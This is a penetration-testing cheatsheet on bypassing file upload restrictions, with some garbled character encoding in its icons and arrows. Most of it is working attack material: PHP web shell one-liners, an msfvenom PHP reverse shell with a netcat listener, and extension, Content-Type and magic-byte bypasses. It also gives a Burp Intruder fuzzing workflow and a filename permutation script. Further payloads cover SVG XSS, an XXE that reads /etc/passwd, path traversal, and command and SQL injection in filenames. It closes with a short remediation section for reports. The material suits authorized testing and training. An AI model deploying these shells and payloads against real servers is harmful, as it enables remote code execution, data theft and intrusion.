πŸ›‘οΈ Methodology Checklist

  • Identify upload functionality and accepted file types
  • Test basic upload restriction bypass: rename .php β†’ .php.jpg, .pHP, .php5, .phtml
  • Content-Type bypass: change Content-Type: image/jpeg in Burp
  • Magic bytes bypass: prepend GIF89a; to PHP shell content
  • Find upload destination path by reviewing source or using dirbusting
  • Access uploaded file to trigger code execution
  • If client-side validation only: disable JS or intercept with Burp
  • Limited upload (no web execution): use upload for LFI+RFI chain

🎯 Operational Context

Use when: File upload functionality exists β€” bypass extension filters, MIME type checks, and content validation to upload executable web shells. Think Dumber First: First identify what the server accepts. Try renaming .php to .php5, .phtml, .phar. Change Content-Type header to image/jpeg. Add GIF header GIF89a; before PHP code. Try one bypass at a time. Skip when: File upload is to S3/cloud storage with no execution path β€” stored XSS from uploaded SVG/HTML is the attack instead.


⚑ Tactical Cheatsheet

CommandTactical Outcome
echo '<?php echo "Hello HTB";?>' > test.phpBenign PoC β€” verify execution before deploying shell
echo '<?php system($_REQUEST["cmd"]); ?>' > shell.phpMinimal PHP web shell
msfvenom -p php/reverse_php LHOST=[LHOST] LPORT=[LPORT] -f raw > reverse.phpMSFVenom PHP reverse shell
curl -s "http://[TARGET_IP]/uploads/shell.php?cmd=id"Trigger uploaded PHP web shell
nc -lvnp [LPORT]Catch reverse shell
Burp Intruder β†’ extension position on shell.Β§phpΒ§ β†’ web-extensions.txt β†’ uncheck URL-encodeFuzz for blacklist bypass extension
shell.phtml / shell.php5 / shell.php7 / shell.pharCommon PHP blacklist bypasses to try manually
shell.jpg.phpDouble extension β€” bypass flawed regex that doesn’t anchor to $
shell.php.jpgReverse double extension β€” Apache config executes anything with .php in name
Modify Content-Type: image/jpeg inside multipart boundarySpoof MIME-type header
echo "GIF8" > shell.php && echo "<?php system(\$_REQUEST['cmd']); ?>" >> shell.phpGIF magic bytes β€” bypass mime_content_type() check
file text.jpgVerify OS interprets file as GIF (output: GIF image data)
exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' image.jpgStored XSS via image metadata
cat web-all-content-types.txt | grep 'image/' > image-content-types.txtBuild image MIME-type wordlist for Content-Type fuzzing

πŸ”¬ Deep Dive & Workflow

Upload Attack Decision Tree

No filter at all?
└── Upload shell.php directly β†’ trigger execution

Client-side JS only?
└── Rename to .jpg, intercept in Burp, change filename back to .php

Blacklist filter?
β”œβ”€β”€ Fuzz with web-extensions.txt via Intruder (uncheck URL-encode!)
└── Try: .phtml, .php5, .php7, .php8, .phar, .phps

Whitelist filter (only .jpg/.png allowed)?
β”œβ”€β”€ Flawed regex (no $ anchor) β†’ shell.jpg.php
β”œβ”€β”€ Apache executes .php anywhere in name β†’ shell.php.jpg
β”œβ”€β”€ PHP < 5.5 β†’ null byte: shell.php%00.jpg
└── Character injection β†’ bash script generates permutations β†’ Intruder

Content-Type validation?
└── Modify inner boundary header: Content-Type: image/jpeg

Magic bytes validation?
└── Prepend GIF8 to PHP shell
    echo "GIF8" > shell.php && echo "<?php system(\$_REQUEST['cmd']); ?>" >> shell.php
    GIF8 appears as garbage at start of output β€” that's expected!

All above?
└── Combine: GIF8 magic bytes + image/jpeg Content-Type + .php.jpg double extension

Intruder Extension Fuzzing (Critical Steps)

  1. Upload a valid image; intercept in Burp
  2. Send to Intruder (Ctrl+I)
  3. Clear all positions; highlight only the extension: shell.Β§phpΒ§
  4. Payloads β†’ Load web-extensions.txt
  5. Uncheck β€œURL-encode these characters” β€” dots %2e break the test
  6. Sort results by Length β€” different length = bypass found
  7. Send winning request to Repeater; replace body with <?php system($_REQUEST['cmd']); ?>

Whitelist Bypass Scripts

# Generate character injection permutations
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '...' ':'; do
    for ext in '.php' '.php3' '.php5' '.phtml' '.phar'; do
        echo "shell$char$ext.jpg"
        echo "shell$ext$char.jpg"
        echo "shell.jpg$char$ext"
        echo "shell.jpg$ext$char"
    done
done > wordlist.txt

Advanced Upload Attack Vectors

# Stored XSS via image metadata
exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' image.jpg
 
# SVG β†’ Stored XSS
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <script type="text/javascript">alert(window.origin);</script>
</svg>
 
# SVG β†’ XXE LFI
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
 
# Directory traversal in filename
../../../etc/passwd         ← overwrite during upload
 
# Command injection in filename
file$(whoami).jpg
file`whoami`.jpg
 
# SQLi in filename
file';select+sleep(5);--.jpg

Key Pitfalls

IssueFix
File uploaded but executes as plaintextDirectory has exec disabled β†’ need LFI to include it
Intruder 429 errorsResource Pool β†’ lower concurrent requests to 1
GIF8 garbage in outputExpected β€” PHP interpreter outputs it as text, rest is your command output
.php%00.jpg null byte failsPHP 5.5+ β†’ use filter wrappers or magic bytes instead
Windows target blacklistBlacklist case-sensitive β†’ try shell.pHp, shell.PhP

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
PHP shell blocked by extension filterExtension denylistTry: .php5, .php7, .phtml, .phar, .php.jpg (double extension)
MIME type check blocks non-imageContent-Type enforcedChange Content-Type to image/jpeg in Burp intercept; keep .php extension
File uploads but web server won’t executeUpload dir has noexec or wrong PHPFind where file is stored; upload to a different path or find path with PHP execution
Magic bytes check blocks PHPFile header validationPrepend GIF89a to PHP file: echo -e 'GIF89a;<?php system($_GET[cmd]); ?>' > shell.php
Uploaded file not accessiblePath unknownCheck response body for file path; try common paths: /uploads/, /files/, /media/, /tmp/; use ffuf to find it

πŸ“ Reporting Trigger

Finding Title: Unrestricted File Upload Enables Web Shell Deployment Impact: Bypassing file upload restrictions allows deploying a PHP web shell on the server, providing persistent remote code execution in the web server’s process context with access to all application data and internal network connections. Root Cause: File upload validation implemented as a denylist of extensions or MIME types rather than strict allowlisting and content validation. Uploaded files stored within the web root with PHP execution enabled. Recommendation: Allowlist only required file types. Validate file content, not just extension and MIME type. Store uploaded files outside web root with randomized names. Serve through a dedicated file serving endpoint without execution privileges.